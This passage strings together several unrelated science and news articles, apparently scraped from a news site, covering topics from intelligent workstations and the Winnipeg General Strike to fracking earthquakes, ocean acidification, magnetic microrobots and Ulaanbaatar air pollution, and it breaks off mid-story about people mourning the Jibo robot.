technology like a smartphone, this intelligent workstation will learn and adjust to worker preferences and patterns with the goal of improving overall well-being. "The idea behind the workstation is not only to provide a comfortable work environment, but to move an individual toward healthier conditions," explained Roll, an associate professor and director of USC Chan's Ph.D. in Occupational Science Program. The project has three parts, he added: lighting, temperature and "my focusergonomics, injury prevention and productivity and performance." Health and well-being improvements via intelligent workstations Burcin Becerik-Gerber, who is working alongside Roll, will be focused on thermal and visual comfort, two factors that can impact your health more than you might think. "The current design of heating, cooling and lighting systems don't accommodate the differences we have in our preferences," said Becerik-Gerber, associate professor of civil and environmental engineering and Stephen Schrank Early Career Chair in Civil and Environmental Engineering at the USC Viterbi School of Engineering. "They're designed for specific standards." For instance, she said, people with narrow thermal comfort ranges are more prone to type 2 diabetes, heart disease and obesity, and indoor lighting can create headaches and fatigue. "And that can impact job satisfactionand our lives," she noted. "We spend 86% of our time indoors. Our team wants office workers, including myself, to have the benefits of an intelligent workstation, because health and well-being is directly linked to your happiness in work." Now six months into this three-year project, the researchers are currently working on using sensors to best understand a user's comfort level, including posture, lighting, ambient temperature and other environmental factors. "The goal is for the machine to learn about the worker: Are you warm or cold? Do you prefer to be warm or cold? Do you have a headache and need dimmer lighting today? Are you getting tense and need to stand?" Roll explained. To examine these social aspects of humanmachine interaction, Becerik-Gerber and Roll are collaborating with Gale Lucas, research assistant professor of computer science at USC Viterbi and the USC Institute for Creative Technologies. The team is currently collecting focus-group input about how the workstation should offer prompts, including the degree of automation users are comfortable conceding. If the desk senses that a user is positioned in such a way that might trigger back pain, should it make automatic adjustments with the user's health in mind? Or will people prefer having the final say over their workstations? "I think it likely depends on the person," Roll said. "But I'm guessing if you're in the middle of something, you don't want your desk to start rising and tell you to stand up, if it's interrupting your workflow." Computer workstations: An uncomfortable history Since the widespread introduction of computer workstations in the 1990s, long office hours have been tied to a myriad of health- related conditions. "At first, we saw a huge uptick in carpal tunnel because we were suddenly typing all the time, and where monitors needed to be positioned was causing neck problems," Roll said. Yet as entire segments of the economy have become wholly dependent on digital tools, so too have workstations changed in ways that ultimately impact productivity and well-being. "A lot of us are multitasking, with multiple monitors and tabs," he explained. "Our workstations aren't always setup for that, which causes different types of musculoskeletal and eye strain." Another unfortunate side effect of more automated systems and advanced technology is more sedentary behaviors, which can cascade to further chronic health conditions. "Our lives are tied to this tech; more people are staring at their computers all day," he said. "We're seeing the relationship between office work and diabetes, heart problems and weight issues." Recent trends of sit-stand desks, treadmill desks and adjustable chairs and monitors are useful, but, as Roll noted, people aren't always taking the initiative to adopt and use them. "You can teach someone to modify their workstation in a healthy way, but unfortunately, people quickly fall back into their routines and habits," he explained. "That's what's really unique about these intelligent workstations: We're creating something to support that behavioral change in individuals." For workstation design, form follows function Ideally, the workstation could eventually learn to evolve based on different parameters and users' goals. That could mean maintaining fitness for healthy individuals, improving habits for workers who want to be healthier or adjusting to somebody's specific physical impairment or disability. "We aim to design a workstation that can sense all of these things, process that information and provide feedback, so we can improve wellness and performance across all of these different categories," Roll said. Additionally, employees who feel better will perform better, boosting productivity for companies. "I think the benefits are tremendous," Becerik-Gerber said. "If people want to use their spaces and feel better while at work, things like absenteeism, work-related injuries and conditions will decrease. If we can help people become healthier and more productive, that would be a huge benefit to employers." Every good designer knows that form follows function, meaning that the eventual shape of the intelligent workstation of the future remains to be seen. "It goes beyond a desk; that's where it gets a little sci-fi and Star Trek," Roll said. "It might include the surrounding walls and heaters; it may become an entire capsulated bubble that's completely connected to one person and their individual needs." Explore further Cycling and treadmill workstations may be 'healthier' than standing options The Winnipeg General Strike. Credit: CP/National Archives of Canada A century ago, the Winnipeg General Strike shut down what was then Canada's third-largest city. Today, the strike is usually remembered as a moment when workers demanded the collective bargaining rights and living wages that are defended by today's unions. While we might be tempted to see the strike as an event that belongs strictly to the past, how we understand the past influences how we see the future. And the Winnipeg General Strike is no exception. More important, what workers did in Winnipeg a century ago may be more relevant to our future than most people think. The Winnipeg General Strike of 1919 provides important lessons of worker solidarity and action that we may need to pay close attention to as workers' struggles are likely to intensify in Canada. Nothing quite like the General Strike has happened in Canada since 1919. Although the Common Front strikes that shook Quebec in 1972 resembled it in some ways, the framework of labour law that's been in place since the 1940s has restricted workers' actions. So the Winnipeg General Strike wasn't a strike of the kind we're familiar with today. Most historians tell us that Winnipeg's construction and manufacturing workers were fighting for basic union rights in the difficult circumstances after the end of the First World War and that their efforts boiled over into a general strike because of the intransigence of employers. However, this story doesn't fully capture what happened in Winnipeg. Historian James Naylor has argued that what happened was "in many ways more of a local (and potentially regional and national) revolt than a strike." When union members in 1919 demanded collective bargaining with their employers, what they wanted wasn't what collective bargaining is today. They would have opposed today's extremely tight legal restrictions on when, how and for what workers are allowed to strike. The issue of collective bargaining, Naylor says, "was an issue, but as much as anything else, it was the catalyst for a much broader struggle." Aspirations for a better city In remarkable solidarity, the strike brought together union members with non-unionized workers. Workers also infused the strike with aspirations for a better society that they would help create by their own efforts. Workers rejected the domination of their city by capitalists at a time when many people across Canada and around the world were questioning the social order that puts profit before people and had caused the First World War. That's why employers conspired with the federal government to break the strike. Police killed two strikers. In the aftermath, a small number of people were deported and many more strikers lost their jobs. However, this defeat didn't lead to union rights as they exist today. Those were instituted starting in 1944 to quell a massive wave of law-defying strikes during the Second World War. The next upsurge could be coming The way the struggles of unionized workers in Winnipeg grew into a citywide strike isn't the only way ordinary people can launch a local revolt. Could some popular upsurge happen in Canada in the next century? I think this is a real possibility because of the economic and ecological crises we face. We are currently experiencing what economist Michael Roberts calls a "long depression" similar in some ways to the economic slump of 1873-97 and the Great Depression that started with the 1929 stock market crash and was only brought to an end by the Second World War. More recently, the Great Recession of 2008-09 ended the period of global economic expansion that started in the early 1980s. A new wave of investment has still not begun. It will take deep economic restructuring to reboot global capitalism. These changes will surely bring more severe job losses, work intensification and austerity. When a new period of economic expansion eventually begins, we could see more employers decide to invest in advanced technologies that will make work worse for many workers and eliminate more jobs. The impact of climate change Climate change and other aspects of the global ecological crisis are going to have significant effects on society. We don't know just how catastrophic climate change will be. But the environmental crisis caused above all by capitalism's addiction to burning fossil fuels will get worse. We are on course for global temperature increases dangerously higher than the maximums agreed to in the Paris Accord. Many earth system scientists are warning that human activity is destabilizing "the only state of the planet that we know for certain can support contemporary human societies." A new climate regime will have far-reaching effects on society. It will be expensive for governments to respond to damage caused by more extreme temperatures and precipitation, more severe storms and flooding, and more droughts and wildfires. There will also be costs connected to the effects of climate change on water supplies, agriculture, urban life and more. These costs will increase the pressure on governments to slash spending on education, health care and other public services. The combination of economic restructuring and how governments respond to the ecological crisis could create a major social crisis in Canada. In such conditions, a popular revolt would be entirely possible. We may find clues for what it might look like in anti-austerity struggles in Greece, the gilets jaunes movement in France, and teachers' strikes in the U.S. all recent experiences where the usually-muted antagonism between the working class and the dominant class has flared into class struggle. In such a situation, the lessons of the Winnipeg General Strike about the power of far-reaching solidarity and the danger of state repression would be directly relevant. Explore further UK union calls for 24-hour strike of Uber drivers This article is republished from The Conversation under a Creative Commons license. Read the original article. Small earthquakes in Ohio, Pennsylvania, West Virginia, Oklahoma and Texas can be linked to hydraulic fracturing wells in those regions, according to researchers speaking at the SSA 2019 Annual Meeting. While relatively rare compared to earthquakes caused by wastewater disposal in oil and gas fields in the central United States, Michael Brudzinski of Miami University in Ohio and his colleagues have identified more than 600 small earthquakes (between magnitude 2.0 and 3.8) in these states. Brudzinski said these earthquakes may be "underappreciated" compared to seismicity related to wastewater disposal since they appear to happen less frequently. He and his colleagues are studying the trends related to the likelihood of induced seismicity from hydraulic fracturing or fracking, which could help industry and state regulators better manage drilling practices. Unconventional U.S. oil production, which extracts oil from shales and tight rocks using a variety of drilling techniques, has been linked to an increase in human-induced earthquakes across the mid-continent of the United States for nearly a decade. Researchers studying the increase in places such as Oklahoma think that the main driver of this increase in seismicity is the injection of wastewater produced by extraction back into rock layers, which increases pore pressure within rocks and can affect stress along faults in layers selected for disposal. Hydraulic fracturing uses pressurized liquid to break apart or create cracks within a rock formation through which petroleum and natural gas can flow and be more easily extracted. In the eastern half of Ohio and other parts of the Appalachian Basin, where there has been a dramatic rise in natural gas production over the past two decades, fracking wells are more prevalent than wastewater disposal wells, in part because the geological layers that contain oil and gas are not as wet as in places like Oklahoma, reducing the need for wastewater disposal. The numerous fracking wells in eastern Ohio prompted Brudzinski and his colleagues to take a closer look at whether small earthquakes in the region could be connected to fracking operations. "The wells are more widely spaced when they're active, and there isn't as much wastewater disposal going on," Brudzinski explained, "so you can see a bit more specifically and directly when wastewater disposal is generating seismicity and when hydraulic fracturing is generating seismicity in the Appalachian Basin." The scientists used a technique called multi-station template matching, which scans through hundreds of seismic signals to find those that match the "fingerprint" of known earthquakes. The technique allowed them to detect small earthquakes that might have otherwise been overlooked, and to compare the more complete earthquake catalog in a region to information on the timing and location of regional fracking well operations. Seismologists identify earthquakes as being caused by hydraulic fracture wells when they are tightly linked in time and space to fracking operations. Fracking-related seismicity also tends to look different from seismicity caused by wastewater disposal, Brudzinski said. "The [fracking] seismic signature when you look at it in a sort of timeline shows these bursts of seismicity, hundreds or sometimes thousands of events over a couple of days or weeks, and then it's quiet again. You don't tend to see that pattern with wastewater disposal," he explained. Brudzinski and his colleagues are now using their dataset from Oklahoma to look at how a variety of variables might affect the likelihood of fracking-induced earthquakes, from the volume and viscosity of the injected liquid to the depth of the rock layers targeted by fracking. "The one that has stuck out to us the most is that the depth of the well is more tied to likelihood of seismicity than we expected," Brudzinski said. It isn't just the deeper the well, the more likely it is to be closer to basement rock and mature faults that are likely to slip, he said, although that might still play a role in these earthquakes. Instead, overpressuring appears to have a stronger correlation with fracking-induced seismicity. Overpressuring occurs when there is high fluid pressure within rocks buried deep in a basin by many overlying rock layers. "It's one of the strongest trends we saw," said Brudzinski. The researchers have discussed some of their findings with colleagues in Canada and China, where induced seismicity from fracking operations are being studied closely. "We are doing that kind of international comparison to get a better handle on the salient features and trends that aren't just tied to a specific location," said Brudzinski. Explore further Damaging Sichuan earthquakes linked to fracking operations Subsurface imaging technology helps find lost graves in Australia. Credit: Flinders University Flinders University archaeologists are using cutting edge subsurface imaging technology to help assist community groups map unmarked graves and manage their cultural heritage. "This is a huge issue, particularly for rural communities," says Dr. Ian Moffat, Senior Research Fellow in Archaeological Sciences at Flinders University. "Using geophysics provides a non-invasive and culturally appropriate way to map unmarked grave sites." Dr. Moffat leads a group which recently published the results of using Ground Penetrating Radar (GPR) and GPS surveys to non-invasively map the location of unmarked graves within the Lake Condah Mission Cemetery in Victoria, a state in Australia. Established in 1869, this cemetery remains an important site for the Gunditjmara community, because while it has only 26 marked graves, it is anecdotally thought to contain more than 100 graves. The GPR survey identified an additional 14 probable unmarked graves as well as 49 other areas that may contain one or more unmarked burials. "The great leap forward with this particular study was the close partnership between the Gunditj Mirring Traditional Owners Corporation and the researchers to achieve such a positive outcome," says Dr. Moffat. "Many Australian Indigenous communities are anxious not to disturb graves, so this survey provides useful information to assist the Gunditj Mirring Traditional Owners Corporation in planning future burials within this cemetery by identifying large areas which are free of graves." Damein Bell, CEO of Gunditj Mirring says, "Our Elders informed the researchers of their knowledge of where the known graves were and our community now have marked the unknown gravesites of our ancestors". GPR is a geophysical technique that uses high frequency electromagnetic waves to image the subsurface, making it ideal for mapping changes in lithology or soil structure. Dr. Ian Moffat, Senior Research Fellow in archaeological sciences at Flinders University, will map the Kingscote pioneer cemetery in May. Credit: Flinders University Extensive subsurface disturbance present at the Lake Condah Mission Cemetery and the presence of many tree roots made the effective interpretation of GPR data difficult, but it was still possible to delineate areas where no unmarked graves are present. "This is an important outcome for managing the cultural heritage of the cemetery because it identifies areas where new graves can be emplaced in a culturally appropriate fashion," says Dr. Moffat. "This demonstrates the utility of GPR as a means of effectively managing heritage sites containing unmarked graves, even when substantial subsurface disturbance is present." Dr. Moffat believes the technique of using GPR and GPS readings will now have a much wider application across pioneer and heritage sites throughout Australia and will be undertaking surveys of other cemeteries at Lake Wangary, Berri and Kingscote over coming weeks. The research paper - "Ground penetrating radar investigations at the Lake Condah Mission Cemetery: locating unmarked graves in areas with extensive subsurface disturbance," by Ian Moffat, Julia Garnaut, Celeste Jordan, Anthea Vella, Marian Bailey and Gunditj Mirring Traditional Owners Corporation - has been published by the Journal of the Archaeological and Anthropological Society of Victoria. Explore further Using LIDAR to find unmarked graves of murder victims Credit: CC0 Public Domain CD listening has been replaced by music streaming. Has the change in music consumption been good for the climate? The answer might surprise you. Associate professor at The University of Oslo, Kyle Devine, has collaborated with Dr. Matt Brennan at the University of Glasgow on a research project called "The Cost of Music." They have conducted archival research on recorded music consumption and production in the US, comparing the economic and environmental costs of different formats at different times. Regarding the economic cost, the researchers found that the price consumers have been willing to pay for owning recorded music has changed dramatically. In 1977 consumers were willing to pay roughly 4.83 % of their average weekly salary for a vinyl album. In 2013, this number is down to roughly 1.22% of the equivalent salary for a digital album in 2013. "Consumers now have unlimited access to almost all recorded music ever released via platforms such as Spotify, Apple Music, Youtube, Pandora and Amazon," Devine says. While his colleague in Glasgow has concentrated on studying the economic costs, Devine has looked into the environmental cost of music consumption from the 1970s to today. As downloading and streaming took over the music industry, the amount of plastics used by the US recording industry dropped dramatically. "Intuitively you might think that less physical product means far lower carbon emissions. Unfortunately, this is not the case," Devine says. Storing and processing music in the cloud depends on vast data centers that use a tremendous amount of resources and energy. Devine translated plastic productions and the electricity use to store and transmit digital audio files into greenhouse gas equivalents (GHGs). He then compared the GHGs from recorded music in the US in 1977, 1988, 2000 and 2016. The findings are clear. The GHGs caused by recorded music are much higher today than in the past. In 1977 the GHGs from, recorded music were 140 million kg. By 2016, they were estimated to somewhere between 200 million kg and over 350 million kg. "I am a bit surprised. The hidden environmental cost of music consumption is enormous," Devine says. He emphasizes that the point of the research project is not to ruin one of life's greatest pleasures, but to encourage consumers to become more curious about the choices they make as they consume culture. Are we remunerating the artists who make our favourite music in a way that accurately reflects our appreciation? Are streaming platforms the right business model to facilitate that exchange? Is streaming music remotely from the cloud the most appropriate way to listen to music from the perspective of environmental sustainability? These are the questions the researchers want to see in a broader public conversation. "There are no easy solutions, but taking a moment to reflect on the costs of music and how they have changed over time, is a step in the right direction," Devine says. In the book "Decomposed" by Kyle Devine, you can learn more about how recorded music always has been a significant exploiter of both natural and human resources. Explore further Music streaming has a far worse carbon footprint than the heyday of records and CDs new findings Professor Jason Hall-Spencer conducting a survey off the coast of Japan. Credit: Ben Harvey Ocean acidification could have serious consequences for the millions of people globally whose lives depend on coastal protection, fisheries and aquaculture, a new publication suggests. Writing in Emerging Topics in Life Sciences, scientists say that only significant cuts in fossil fuel emissions will prevent the changes already evident in areas with projected future carbon dioxide levels becoming more widespread. They also call for a binding international agreement that builds on the United Nations Sustainable Development Goals to minimise and address the impacts of ocean acidification. The article was written by Jason Hall-Spencer, Professor of Marine Biology at the University of Plymouth, and Plymouth graduate Dr. Ben Harvey, now Assistant Professor at the University of Tsukuba's Shimoda Marine Research Center. They and other collaborators have published several studies over the past decade that show the threats posed by ocean acidification in terms of habitat degradation and a loss of biodiversity. These have centred around the coast of Japan, where they demonstrated ocean acidification is having a major impact on marine life, and in the Mediterranean where they showed it was having a negative impact on wild fish. The control site for the Japan research shows high biodiversity comprising tropical scleractinian corals and temperate macroalgae. Credit: Ben Harvey Both regions have volcanic CO2 seeps, where the escaping gas dissolves into the sea water and creates conditions similar to that expected to occur worldwide in the coming years. Their new publication provides a synthesis of the likely effects of ocean acidification on ecosystem properties, functions and services and is based on laboratory experiments and observations along natural gradients in CO2. It says that studies at CO2 seeps worldwide have shown that reefs made by organisms with shells or skeletons, such oysters or corals, are sensitive to ocean acidification and that degraded reefs provide less coastal protection and less habitat for commercially important fish and shellfish. This amplifies the risks to marine goods and services from climate change causing shifts to seaweed dominance, habitat degradation and a loss of biodiversity in the tropics, the sub-tropics and on temperate coasts. Dr. Harvey, who graduated from the BSc (Hons) Ocean Science programme in 2008, said: "We are releasing around 1 million tons of carbon dioxide per hour into the Earth's atmosphere. About 25% of this gas is taken up by the ocean where it reacts with seawater to form a weak acid, causing surface ocean pH to fall by around 0.002 units per year. The chemistry of this rapid change in surface waters is understood, yet there is uncertainty about its effects on society which is what we are trying to overcome in this study." Professor Hall-Spencer, the publication's lead author, added said: "The Paris Agreement on climate change was welcome. But it does not mention ocean acidification, nor the fact that this rapid change in surface ocean chemistry undermines the social, economic and environmental pillars of sustainable development. The time is ripe for a 'Paris Agreement for the oceans', with the specific target to minimise and address the impacts of ocean acidification, including through enhanced scientific cooperation at all levels." Explore further Study shows ocean acidification is having major impact on marine life More information: Emerging Topics in Life Sciences, DOI: 10.1042/ETLS20180117 A strike by pilots has affected about 70 percent of Swedish airline SAS's flights, with 673 cancelled Pilots at Scandinavian carrier SAS walked off the job in Sweden, Denmark and Norway on Friday, stranding more than 72,000 travellers as 673 flights were cancelled, the airline said. A total of 1,409 pilots were on strike, affecting domestic, European and long-haul flights, SAS said, predicting that 170,000 passengers would be affected through Sunday. The Swedish Air Line Pilots Association, which initiated the strike, said months of negotiations had failed to find a solution to pilots' "deteriorating work conditions, unpredictable work schedules and job insecurity". The Swedish Confederation of Transport Enterprises meanwhile said it could not accept the 13-percent wage increase demanded by the pilots, given their "already high average wage of 93,000 kronor (8,766 euros, $9,769) a month". The pilots' association said work schedules, and not wages, were the main focus of the negotiations, as most SAS pilots to have work at variable times and days. "Many SAS pilots have no control over when and how long they have to work. In a worst case scenario, they risk having to work seven weekends in a row," the pilots' association said in a statement. "Everyone who has a family life can imagine how difficult it is to not know when you have to work," SAS' Swedish union representative at the pilots' association, Wilhelm Tersmeden, said. 'Hope we'll be rebooked' SAS contacted most passengers before the cancellations to warn them of the strike and offered to rebook them at no extra cost. On Friday, many travellers turned up at Stockholm's Arlanda airport in the hopes of getting on other flights. Elsa Lundberg, 20, and Christoffer Weil, 22, had been due to travel to Scotland for a hiking trip with their college class. "This trip is the biggest thing this semester," Weil told news agency TT. SAS predicts 170,000 passengers will be affected by the pilot strike "We hope that we'll be rebooked on another flight. But we're a big group and it's unlikely everyone would be able to get on the same flight," Lundberg said. "They're offering free coffee at Arlanda now, so that's at least a good thing," she said. Swedish pastor Ronny Nygren, who was scheduled to take his church's youth group to Rome on Friday and was hoping they would be rebooked on another flight, said he had mixed feelings about the strike. "It's good that they're fighting for their work conditions. But then you have to think about the 13 percent, compared to other Swedes' salaries," he told TT. The strike affected about 70 percent of SAS flights, with the remainder operated by partner airlines. SAS has implemented repeated savings programmes in recent years to improve its profitability, after teetering on the brink of bankruptcy in 2012. In the first quarter of 2019, the airline widened its losses, impacted by negative exchange effects and high fuel prices. It posted a net loss of 469 million kronor, compared to 249 million a year earlier, but forecast a full-year profit. Danish bank Sydbank on Friday predicted the strike would cost SAS 60 to 80 million kronor per day. A protracted strike, and the added pressure of meeting the pilots' demands, could put SAS in a precarious financial position, eating away at much of the profit expected this year, Sydbank analyst Jacob Pedersen told TT. "That could jeopardise the airline's future," Pedersen said. The SAS share price was down by 5.6 percent in mid-morning trading, while Stockholm's OMX 30 index was down 0.3 percent. Explore further German unions call for strike against Ryanair Wednesday 2019 AFP Betsy von Holle, a biologist at the University of Central Florida, led a study that found that 75% of the Atlantic Coast from North Carolina to Central Florida will be highly vulnerable to erosion and inundation from rising tides by 2030, negatively impacting many coastal species' nesting habitats. Credit: University of Central Florida New research shows 75 percent of the Atlantic Coast from North Carolina to Central Florida will be highly vulnerable to erosion and inundation from rising tides by 2030, negatively impacting many coastal species' nesting habitats. The new data reflect a 30 percent increase in highly vulnearable areas in the region since 2000, the date of previous projections from the U.S. Geological Survey's Coastal Vulnerability Index. The findings come from a study in the The Journal of Wildlife Management, which was led by Betsy von Holle, a biologist at the University of Central Florida. Some of the coastal species at risk include loggerhead and green sea turtles, threatened species that nest along the shoreline and already face challenges such as an uptick in infectious diseases. According to the study, sea-level rise will increase the risk of erosion in about 50 percent of the nesting areas for those species by the next decade. "We need to know not only what areas are going to be the most affected by sea-level rise, but also those species most vulnerable to sea-level rise in order to figure out management plans for coastal species," von Holle says. Seabirds don't fare any better, according to the study. High-density seabird nesting habitat along the coast for the gull-billed tern and the sandwich tern is expected to have approximately 80 and 70 percent increased risk of erosion and inundation from sea level rise by 2030, respectively. Brown pelicans face somewhat less risk, the study showed, with only about 20 percent of their high-density nesting habitats having increased potential for inundation and erosion due to sea level rise. This is possibly because they preferentially nest in higher elevation areas, such as on artificial dredged material islands. "We're surprised that there were such big differences in the different species in terms of their vulnerability to sea level rise," von Holle says. "When there is erosion and inundation during the reproductive seasons, it has large impacts on species," she says. "A lot of these species that we studied are threatened and endangered species, so just knowing that sea level rise will be a threat to certain species in the future helps managers figure out how to prioritize their management actions." Although sea-level rise is a threat to coastal species, experts say so are human-made structures, such as sea walls, as they prevent the beach from naturally migrating inland. Without those types of structures, the shoreline and coastal species could better adapt to the rising seas, as they have done when faced with the threat in the past. How they did it To perform the study, the researchers updated the U.S. Geological Survey's Coastal Vulnerability Index for the South Atlantic Bightan area that extends from Cape Hatteras, North Carolina, to Sebastian Inlet in Brevard County, Floridausing updated sea-level rise projection data from multiple sources. The area includes the Archie Carr National Wildlife Refuge in Brevard and Indian River counties, which is one of the most important loggerhead nesting habitats in the world and the most important green turtle nesting area in the U.S. Using the updated data, the area of the South Atlantic Bight considered to be highly vulnerable to the effects of sea level rise increased from 45 percent in 2000 to a projected 75 percent by 2030. The researchers then layered existing geographical data about species' nesting density onto the vulnerability projections to determine the overlap between coastal species nesting locations and vulnerability to sea level rise by 2030. They looked at habitat data for 11 coastal animals, including three sea turtle species, three shorebird species and five seabird species. Explore further Drones help map sea level rise Vision of enhanced transport of nanomedicine into tumor tissue. Credit: Sonia Monti MIT engineers have designed tiny robots that can help drug-delivery nanoparticles push their way out of the bloodstream and into a tumor or another disease site. Like crafts in "Fantastic Voyage"a 1960s science fiction film in which a submarine crew shrinks in size and roams a body to repair damaged cellsthe robots swim through the bloodstream, creating a current that drags nanoparticles along with them. The magnetic microrobots, inspired by bacterial propulsion, could help to overcome one of the biggest obstacles to delivering drugs with nanoparticles: getting the particles to exit blood vessels and accumulate in the right place. "When you put nanomaterials in the bloodstream and target them to diseased tissue, the biggest barrier to that kind of payload getting into the tissue is the lining of the blood vessel," says Sangeeta Bhatia, the John and Dorothy Wilson Professor of Health Sciences and Technology and Electrical Engineering and Computer Science, a member of MIT's Koch Institute for Integrative Cancer Research and its Institute for Medical Engineering and Science, and the senior author of the study. "Our idea was to see if you can use magnetism to create fluid forces that push nanoparticles into the tissue," adds Simone Schuerle, a former MIT postdoc and lead author of the paper, which appears in the April 26 issue of Science Advances. In the same study, the researchers also showed that they could achieve a similar effect using swarms of living bacteria that are naturally magnetic. Each of these approaches could be suited for different types of drug delivery, the researchers say. Magnetically controlled synthetic and living micropropellers stir up nanoparticles for enhanced drug transport. Credit: Schuerle et al., Sci. Adv. 2019;5: eaav4803 Tiny robots Schuerle, who is now an assistant professor at the Swiss Federal Institute of Technology (ETH Zurich), first began working on tiny magnetic robots as a graduate student in Brad Nelson's Multiscale Robotics Lab at ETH Zurich. When she came to Bhatia's lab as a postdoc in 2014, she began investigating whether this kind of bot could help to make nanoparticle drug delivery more efficient. In most cases, researchers target their nanoparticles to disease sites that are surrounded by "leaky" blood vessels, such as tumors. This makes it easier for the particles to get into the tissue, but the delivery process is still not as effective as it needs to be. The MIT team decided to explore whether the forces generated by magnetic robots might offer a better way to push the particles out of the bloodstream and into the target site. The robots that Schuerle used in this study are 35 hundredths of a millimeter long, similar in size to a single cell, and can be controlled by applying an external magnetic field. This bioinspired robot, which the researchers call an "artificial bacterial flagellum," consists of a tiny helix that resembles the flagella that many bacteria use to propel themselves. These robots are 3-D-printed with a high-resolution 3-D printer and then coated with nickel, which makes them magnetic. To test a single robot's ability to control nearby nanoparticles, the researchers created a microfluidic system that mimics the blood vessels that surround tumors. The channel in their system, between 50 and 200 microns wide, is lined with a gel that has holes to simulate the broken blood vessels seen near tumors. Detection of synthetic mirpropeller in tumor tissue via multi photon imaging and second harmoincs signals. Credit: Jeffrey Wyckoff Using external magnets, the researchers applied magnetic fields to the robot, which makes the helix rotate and swim through the channel. Because fluid flows through the channel in the opposite direction, the robot remains stationary and creates a convection current, which pushes 200-nanometer polystyrene particles into the model tissue. These particles penetrated twice as far into the tissue as nanoparticles delivered without the aid of the magnetic robot. This type of system could potentially be incorporated into stents, which are stationary and would be easy to target with an externally applied magnetic field. Such an approach could be useful for delivering drugs to help reduce inflammation at the site of the stent, Bhatia says. Bacterial swarms The researchers also developed a variant of this approach that relies on swarms of naturally magnetotactic bacteria instead of microrobots. Bhatia has previously developed bacteria that can be used to deliver cancer-fighting drugs and to diagnose cancer, exploiting bacteria's natural tendency to accumulate at disease sites. For this study, the researchers used a type of bacteria called Magnetospirillum magneticum, which naturally produces chains of iron oxide. These magnetic particles, known as magnetosomes, help bacteria orient themselves and find their preferred environments. The researchers discovered that when they put these bacteria into the microfluidic system and applied rotating magnetic fields in certain orientations, the bacteria began to rotate in synchrony and move in the same direction, pulling along any nanoparticles that were nearby. In this case, the researchers found that nanoparticles were pushed into the model tissue three times faster than when the nanoparticles were delivered without any magnetic assistance. This bacterial approach could be better suited for drug delivery in situations such as a tumor, where the swarm, controlled externally without the need for visual feedback, could generate fluidic forces in vessels throughout the tumor. The particles that the researchers used in this study are big enough to carry large payloads, including the components required for the CRISPR genome-editing system, Bhatia says. She now plans to collaborate with Schuerle to further develop both of these magnetic approaches for testing in animal models. Explore further Microrobots that can form into multiple types of swarming shapes More information: "Synthetic and living micropropellers for convection-enhanced nanoparticle transport" Science Advances (2019). Journal information: Science Advances "Synthetic and living micropropellers for convection-enhanced nanoparticle transport"(2019). advances.sciencemag.org/content/5/4/eaav4803 Atmospheric concentrations of PAHs in Ulaanbaatar City. Credit: Kanazawa University A joint Mongol-Japanese research team from the National University of Mongolia and Kanazawa University conducted the first detailed study of organic air pollutants in Ulaanbaatar city. The polycyclic aromatic hydrocarbon (PAH) contents of airborne particulates were determined, and indicated that the degree of air pollution varies markedly by district and season. Ulaanbaatar is often called the world's coldest capital city because the temperature can reach -40 C on winter nights. The harsh climate causes each household in a ger (a traditional Mongolian house) to consume >5 t of raw coal and 3 m3 of wood each year. The increasing population and demand for energy in Ulaanbaatar in recent years has caused air quality to deteriorate markedly. Poor air quality poses serious threats to the health of the inhabitants of Ulaanbaatar. The fine particulate matter (e.g., PM2.5) mass concentration is often used as an ambient air pollution index. PM2.5 concentrations have often been found to be even higher in Ulaanbaatar than in heavily polluted Asian megacities. However, the PM2.5 concentration is calculated from the mass of particles and does not take into account the toxic chemicals sorbed to or contained in the particles. Polycyclic aromatic hydrocarbons (PAHs) are mainly produced when organic matter is imperfectly combusted and pyrolyzed. PAHs are suspected to be largely responsible for various symptoms related to air pollution (e.g., allergy, asthma, cancer, and reproductive disorders). This study was the first of its kind to be performed in Ulaanbaatar. The aim was to characterize spatial and temporal variations in particulate-bound PAH pollution, identify the pollutant sources, and assess the health risks posed. Cross plot of the diagnostic ratios for the sources of PAHs in winter and late summer. Credit: Kanazawa University Suspended particle samples were collected in five districts in Ulaanbaatar during the heating and non-heating periods of 2017. The samples were analyzed, and the concentrations of 15 PAHs with two-six benzene rings were determined. The highest total PAH concentration (773 ng m-3 in January 2017) was found in an area containing gers. The total PAH concentrations decreased in the order residential areas > industrial areas > city center > townhouse areas. The mean PAH concentration in late summer was 23 times lower than the mean concentration in winter and 15 times lower than the mean concentration in spring. Specific PAH markers indicated strong influences from coal and wood combustion, particularly in an area containing gers in the heating season. The results indicated that there is a direct link between high PAH concentrations in certain districts of Ulaanbaatar and the types of fuel used. The results also indicated the dilemma faced by the city: residents must choose between heating and improving air quality. Prolonged exposure to polluted air in winter gives a high lifetime cancer risk, indicating that there is an urgent need for dramatic mitigation measures to be implemented. The results provide evidence for developing effective, scientifically based, air pollution control strategies. Explore further Air pollution killing Ulaanbaatar (Mongolia) residents More information: Batdelger Byambaa et al. Sources and Characteristics of Polycyclic Aromatic Hydrocarbons in Ambient Total Suspended Particles in Ulaanbaatar City, Mongolia, International Journal of Environmental Research and Public Health (2019). Batdelger Byambaa et al. Sources and Characteristics of Polycyclic Aromatic Hydrocarbons in Ambient Total Suspended Particles in Ulaanbaatar City, Mongolia,(2019). DOI: 10.3390/ijerph16030442 Morocco handed Russia a native of Daghestan region who fought for IS in Syria, Russian federal security service (FSB) said. Moroccos security forces arrested the Russian national, Salamov Ramazan Magomednuriyevich, born in 1970 and wanted for his involvement with international terrorist organizations, Russian news agency TASS cited an FSB statement as saying. The Russian suspect is accused of spreading extremist ideology among the inhabitants of majority Muslim Daghestan where he committed criminal acts in 2016 before joining IS in Syria. Early in 2018, the Russian national tried to settle down in Casablanca after the defeat of IS in Syria but the Moroccan security services apprehended him and later proceeded to his extradition upon a request from Russian authorities. This July 26, 2004 file photo made available by NASA shows the shadow of the Mars Exploration Rover Opportunity as it traveled farther into Endurance Crater in the Meridiani Planum region of Mars. People took to social media this year to say goodbye to the Mars Opportunity rover when NASA lost contact on June 10, 2018, with the 15-year-old robot. (NASA/JPL-Caltech via AP, File) When a robot "dies," does it make you sad? For lots of people, the answer is "yes"and that tells us something important, and potentially worrisome, about our emotional responses to the social machines that are starting to move into our lives. For Christal White, a 42-year-old marketing and customer service director in Bedford, Texas, that moment came several months ago with the cute, friendly Jibo robot perched in her home office. After more than two years in her house, the foot-tall humanoid and its inviting, round screen "face" had started to grate on her. Sure, it danced and played fun word games with her kids, but it also sometimes interrupted her during conference calls. White and her husband Peter had already started talking about moving Jibo into the empty guest bedroom upstairs. Then they heard about the "death sentence" Jibo's maker had levied on the product as its business collapsed. News arrived via Jibo itself, which said its servers would be shutting down, effectively lobotomizing it. "My heart broke," she said. "It was like an annoying dog that you don't really like 